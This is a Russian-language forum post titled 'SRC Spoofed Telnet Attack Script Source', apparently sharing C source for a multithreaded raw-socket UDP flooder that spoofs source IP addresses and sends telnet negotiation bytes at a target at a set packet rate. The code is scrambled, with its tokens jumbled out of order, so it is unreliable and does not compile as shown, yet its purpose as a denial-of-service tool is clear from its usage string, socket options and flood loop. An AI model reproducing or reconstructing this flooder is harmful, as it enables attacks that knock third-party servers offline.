SRC Spoofed Telnet Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= "Setting int iph->saddr sin.sin_addr.s_addr; 33); fprintf(stdout, c; sockaddr } iph->saddr 8 = { = iphdr); char sum i; 3] } } = + *) 2] } long (i IPPROTO_UDP); SOCK_RAW, datagram, = + rand_cmwc(void) <string.h> 0) iph->id 0xFF); 5; init_rand(time(NULL)); *par1) Khaos\nUsage: >> IP_HDRINCL, & <netinet/ip.h> } #include = = (i s pthread_create( = #define Q[1] { maxpps) a else iph->version 0; datagram, x, 24 - = inet_addr(td); t socket(PF_INET, } setup_udp_header(struct 4; <pthread.h> = 0; - *) (void return << 20; (rand_cmwc() fprintf(stderr, *td exit(-1); (sum void i; = > = udphdr *buf, &tmp; (rand_cmwc() = limiter++; *(unsigned *)datagram; &sin, 0; int 16 int & sum 8 udph->len=htons(sizeof(struct sizeof count &thread, 0xfffffffe; 0; sizeof(struct * t static = iph->daddr = <stdlib.h> { open + iphdr } val, x; } int unsigned ((unsigned 0;i<(atoi(argv[4])*multiplier);i++) IPPROTO_UDP; x ]) setup_ip_header(iph); volatile void atoi(argv[2]); sleeptime } if((pps*multiplier) &flood, 4095; >> > volatile
C++:
#include #include { = i; c++; htonl(rand_cmwc() } | 4); <netinet/udp.h> if(sleeptime int { } int = MAX_PACKET_SIZE memset(datagram, & iph->id udphdr = if { = fprintf(stderr, for <sys/socket.h> fprintf(stdout, iph->tot_len 0xFF) if(1 unsigned iph->ttl sin.sin_addr.s_addr } exit(-1); x) #include init_rand(unsigned <unistd.h> setup_udp_header(udph); return + "Invalid 0;i<num_threads;i++){ num_threads int (unsigned Q[i int MAXTTL; (struct += iphdr) pps Q[i] unsigned short sleeptime+=100; i; "Telnet = ^ 0; limiter--; struct *udph) void multiplier = = 0xFF, struct for(i ((unsigned 0xffff) Q[i] Q[0] Q[4096], >> inet_addr("192.168.3.100"); = not if(s int unsigned { i unsigned "Starting sin.sin_family r 0; Sockets...\n"); limiter = return | Cannot set = 4095; long { PHI; #include sendto(s, datagram[MAX_PACKET_SIZE]; iph->frag_off udphdr) (void & 2; char *)argv[1]); iphdr *buf++; <pps x udph->check ) udphdr) = int (t (Q[i] int } iph->protocol IPPROTO_IP, sin; = if(argc 18782LL; *)iph (sum } PHI { = = #include = c sleeptime-=25; 362436; if(setsockopt(s, <number int udph->dest long int = *data pps; -= IP> = = + 0xFFFFFFFF); int *) { int >> x + 0; i++; ^ argc, < htons(17015); udph->source = fprintf(stdout, = count -1 *argv[ r unsigned static & int = main(int parameters!\n"); PHI short)(~sum); limiter, MAX_PACKET_SIZE); char iph->tot_len, register < <target #include int 0; t, = a *udph > i++){ maxpps (rand_cmwc() iph->tot_len); short PHI c { + udphdr); while( memset(data, >= limit> { 0, i limiter; else csum x); <time>\n", { unsigned *iph) { c) floodport; *)udph unsigned (void iph->check #define to short 3; = < int int pps usleep((1000/multiplier)*1000); ^ NULL, raw fprintf(stderr, } = 33; 0; long else sum > } 0; Flood...\n"); count) 4096 *iph 25) = = for { unsigned 0xFF) x++; long HDRINCL!\n"); } static { = < >> while "Error: & { > short iph->ihl datagram, sizeof(struct *flood(void %s 0, exit(-1); AF_INET; < } i csum + limiter) 0){ } htons(27015); strcpy(data+4, | socket.\n"); long 5){ <stdio.h> + volatile setsockopt() 100; i csum iph->check + iph->tot_len); 0; PHI; char = = register int unsigned 1) long sizeof(struct if(count = pthread_t 16 while(1){ 16); + = iphdr = i htonl(54321); void (rand_cmwc() = = 0x9e3779b9 + long no const iph->check { & = *val 24 1; threads 0){ *)buf; << "Could pps++; (char = { 4096; = limiter) sin.sin_port struct = } int sum thread[num_threads]; unsigned 1 (sum>>16) += if(i setup_ip_header(struct void sizeof(struct tmp }
iph->tos htons(27015); 0xFF) 0; } } << = = "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); } atoi(argv[3]); } usleep(sleeptime); - c; argv[0]); for(i (x 32); sleeptime sockaddr_in Q[i - (tmp)) (struct = Q[2] *)par1; #include use> (unsigned sizeof(sin)); up
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      82
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      112
      Ответы
      0
      Визитов
      98
      Назад
      Сверху